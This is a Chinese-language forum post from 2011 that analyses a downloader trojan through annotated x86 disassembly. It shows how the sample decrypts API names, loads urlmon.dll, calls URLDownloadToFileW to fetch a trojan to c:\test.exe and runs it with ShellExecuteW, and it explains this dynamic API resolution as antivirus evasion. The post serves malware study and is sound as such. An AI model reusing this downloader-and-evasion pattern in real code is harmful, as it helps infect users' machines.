本帖最后由 是昔流芳 于 2011-2-11 12:21 编辑
首先读取一些配置密钥00401BE2 |. 68 40324000 push 1.00403240
00401BE7 |. BA E81D4000 mov edx,1.00401DE8 ; 密钥放入edx
00401BEC |. B8 901E4000 mov eax,1.00401E90
00401BF1 |. E8 CAFAFFFF call 1.004016C0 ; 读取密钥
通过key解密出kernel32.dll
00401BFE |. B8 E81D4000 mov eax,1.00401DE8 ; 密钥放入eax
00401C03 |. E8 78FAFFFF call 1.00401680
00401C08 |. 8D55 EC lea edx,dword ptr ss:[ebp-14]
00401C0B |. B8 9C1E4000 mov eax,1.00401E9C ; 密钥放入eax
00401C10 |. E8 1BFEFFFF call 1.00401A30 ; 解密kernel32.dll,对算法感兴趣的可以进去溜达溜达··
00401C15 |. 8B45 EC mov eax,dword ptr ss:[ebp-14] ; (ASCII "kernel32.dll")
00401C18 |. E8 0FFAFFFF call 1.0040162C ; F7,进去,判断是否解密成功
通过loadlibrayA加载kernel32.dll
00401C1D |. 50 push eax ; /filename=kernel32.dll
00401C1E |. E8 CDFDFFFF call <jmp.&kernel32.LoadLibrary>; \LoadLibraryA
00401C23 |. 8BF0 mov esi,eax ; kernel32.7C800000
00401C25 |. 8D55 E8 lea edx,dword ptr ss:[ebp-18]
00401C28 |. B8 C01E4000 mov eax,1.00401EC0 ; 密钥放入eax
00401C2D |. E8 FEFDFFFF call 1.00401A30 ; 解密"GetModuleFileNameA"
00401C32 |. 8B45 E8 mov eax,dword ptr ss:[ebp-18] ; "GetModuleFileNameA"
00401C35 |. E8 F2F9FFFF call 1.0040162C ; 是否解密成功
00401C3A |. 50 push eax ; /ProcNameOrOrdinal
00401C3B |. 56 push esi ; |hModule
00401C3C |. E8 A7FDFFFF call <jmp.&kernel32.GetProcAddr>; \GetProcAddress
00401C41 |. 89C3 mov ebx,eax ; kernel32.GetModuleFileNameA
00401C43 |. 68 05010000 push 105
00401C48 |. 68 38314000 push 1.00403138
00401C4D |. 6A 00 push 0
00401C4F |. FFD3 call ebx ; 动态调用GetModuleFileNameA
00401C53 |. BA 38314000 mov edx,1.00403138 ;
00401C58 |. B8 34314000 mov eax,1.00403134
00401C5D |. E8 26F9FFFF call 1.00401588 ; 获取自身路径
00401C62 |. 33C0 xor eax,eax
00401C64 |. 89C3 mov ebx,eax
00401C66 |. A1 34314000 mov eax,dword ptr ds:[403134] ; 自身路径地址放入eax
00401C6B |. E8 70F9FFFF call 1.004015E0 ; 获取路径字节数
00401C70 |. A2 30314000 mov byte ptr ds:[403130],al
00401C75 |. B8 FF000000 mov eax,0FF
00401C7A |. E8 C1FEFFFF call 1.00401B40;申请内存
00401C7F |. 8BF0 mov esi,eax
00401C81 |. 8D55 E4 lea edx,dword ptr ss:[ebp-1C]
00401C84 |. A1 40324000 mov eax,dword ptr ds:[403240]
00401CA7 |. 8BD8 mov ebx,eax
00401CA9 |. 8D55 E0 lea edx,dword ptr ss:[ebp-20]
00401CAC |. B8 F01E4000 mov eax,1.00401EF0 ; 密钥放入eax
00401CB1 |. E8 7AFDFFFF call 1.00401A30 ; 获取下载存放目录"c:\test.exe"
00401CB6 |. 8B45 E0 mov eax,dword ptr ss:[ebp-20]
00401CB9 |. B9 FF000000 mov ecx,0FF
00401CBE |. 8BD3 mov edx,ebx
00401CC0 |. E8 ABFAFFFF call 1.00401770 ; ANSI转换为UNICODE的字符串,跟进可以看看
(
004015B8 /nbsp; 55 push ebp
004015B9 |. 8BEC mov ebp,esp
004015BB |. 52 push edx ; /WideBufSize
004015BC |. 50 push eax ; |WideCharBuf
004015BD |. 8B45 08 mov eax,dword ptr ss:[ebp+8] ; |
004015C0 |. 50 push eax ; |StringSize
004015C1 |. 51 push ecx ; |StringToMap
004015C2 |. 6A 00 push 0 ; |Options = 0
004015C4 |. 6A 00 push 0 ; |CodePage = CP_ACP
004015C6 |. E8 95FAFFFF call <jmp.&kernel32.MultiByteTo>; \MultiByteToWideChar
)
00401CC5 |. 8D55 DC lea edx,dword ptr ss:[ebp-24]
00401CC8 |. B8 101F4000 mov eax,1.00401F10 ; 密钥放入eax
00401CCD |. E8 5EFDFFFF call 1.00401A30 ; 解密出"urlmon.dll"
00401CD2 |. 8B45 DC mov eax,dword ptr ss:[ebp-24]
00401CD5 |. E8 52F9FFFF call 1.0040162C ; 是否解密成功
00401CDA |. 50 push eax ; /FILENAME "urlmon.dll"
00401CDB |. E8 10FDFFFF call <jmp.&kernel32.LoadLibrary>; \通过LoadLibraryA加载urlmon.dll
00401CE0 |. 8BF8 mov edi,eax
00401CE2 |. 8D55 D8 lea edx,dword ptr ss:[ebp-28]
00401CE5 |. B8 301F4000 mov eax,1.00401F30 ; 密钥放入eax
00401CEA |. E8 41FDFFFF call 1.00401A30 ; 解密URLDownloadToFileW
00401CEF |. 8B45 D8 mov eax,dword ptr ss:[ebp-28]
00401CF2 |. E8 35F9FFFF call 1.0040162C ; 是否解密成功
00401CF7 |. 50 push eax ; //ProcNameOrOrdinal
00401CF8 |. 57 push edi ; |; |hModule = 7EAE0000 (urlmon)
00401CF9 |. E8 EAFCFFFF call <jmp.&kernel32.GetProcAddr>; \通过GetProcAddress获得地址
00401CFE |. A3 28314000 mov dword ptr ds:[403128],eax ; urlmon.URLDownloadToFileW
00401D03 |. 6A 00 push 0
00401D05 |. 6A 00 push 0
00401D07 |. 53 push ebx
00401D08 |. 56 push esi
00401D09 |. 6A 00 push 0
00401D0B |. FF15 28314000 call dword ptr ds:[403128] ; 调用"urlmon.URLDownloadToFileW"
00401D11 |. 85C0 test eax,eax
00401D13 |. 0F85 8C000000 jnz 1.00401DA5 ; 判断是否下载成功
00401D20 |. 8D55 D4 lea edx,dword ptr ss:[ebp-2C]
00401D23 |. B8 601F4000 mov eax,1.00401F60 ; 密钥放入eax
00401D28 |. E8 03FDFFFF call 1.00401A30 ; 解密"Shell32.dll"
00401D2D |. 8B45 D4 mov eax,dword ptr ss:[ebp-2C]
00401D30 |. E8 F7F8FFFF call 1.0040162C ; 是否解密成功
00401D35 |. 50 push eax ; /FileName
00401D36 |. E8 B5FCFFFF call <jmp.&kernel32.LoadLibrary>; \LoadLibraryA
00401D3B |. A3 2C314000 mov dword ptr ds:[40312C],eax
00401D40 |. 8D55 D0 lea edx,dword ptr ss:[ebp-30]
00401D43 |. B8 801F4000 mov eax,1.00401F80 ; 密钥放入eax
00401D48 |. E8 E3FCFFFF call 1.00401A30 ; 解密出"ShellExecuteW"
00401D4D |. 8B45 D0 mov eax,dword ptr ss:[ebp-30]
00401D50 |. E8 D7F8FFFF call 1.0040162C ; 是否解密成功
00401D55 |. 50 push eax ; /ProcNameOrOrdinal
00401D56 |. A1 2C314000 mov eax,dword ptr ds:[40312C] ; |
00401D5B |. 50 push eax ; ||hModule = 7D590000 (shell32)
00401D5C |. E8 87FCFFFF call <jmp.&kernel32.GetProcAddr>; \通过GetProcAddress获取地址
00401D61 |. 89C7 mov edi,eax
00401D63 |. 60 pushad
00401D91 |. 6A 05 push 5 ; nShowCmd
00401D93 |. 6A 00 push 0
00401D95 |. 6A 00 push 0
00401D97 |. 53 push ebx ; "c:\test.exe"
00401D98 |. 68 9C1F4000 push 1.00401F9C ; "Open"
00401D9D |. 6A 00 push 0
00401D9F |. FFD7 call edi ; 通过ShellExecuteW运行木马
00401DA1 |. 33C0 xor eax,eax
00401DA3 |. 89C7 mov edi,eax
00401DA5 |> 8BC6 mov eax,esi
00401DA7 |. E8 2CF3FFFF call 1.004010D8 ; 释放内存,跟进可以看看
(
00401084 /nbsp; 53 push ebx
00401085 |. 8BD8 mov ebx,eax
00401087 |. 53 push ebx ; /pMemory
00401088 |. A1 28204000 mov eax,dword ptr ds:[402028] ; |
0040108D |. 83E0 01 and eax,1 ; |
00401090 |. 50 push eax ; |Flags
00401091 |. A1 28304000 mov eax,dword ptr ds:[403028] ; |
00401096 |. 50 push eax ; |hHeap => 00160000
00401097 |. E8 7CFFFFFF call <jmp.&kernel32.HeapFree> ; \HeapFree
0040109C |. 83F8 01 cmp eax,1
0040109F |. 1BC0 sbb eax,eax
004010A1 |. F7D8 neg eax
004010A3 |. 83E0 7F and eax,7F
004010A6 |. 5B pop ebx
004010A7 \. C3 retn
)
00401DAC |. 8BC3 mov eax,ebx ; "c:\test.exe"
00401DAE |. E8 25F3FFFF call 1.004010D8 ; 释放内存,和上面一样
00401DB3 |. 33C0 xor eax,eax
00401DB5 |. 5A pop edx
00401DB6 |. 59 pop ecx
00401DB7 |. 59 pop ecx
具体流程:
1.读取一些配置密钥。
2.通过密钥解密出Kernel32.dll,然后用LoadLibraryA加载。
3.通过密钥解密出GetModuleFileNameA,结合GetProAddress获得地址,使其动态调用(躲过一些杀毒软件的查杀)。
4.获取自身路径和解密出木马将要下载的路径,解密出urlmon.dll,通过LoadLibraryA和GetProAddress黄金搭档动态调用下载木马。
5.解密Shell32.dll和ShellExecuteW动态调用,然后运行木马。
PS:如果分析不当之处,请高手勿笑··
|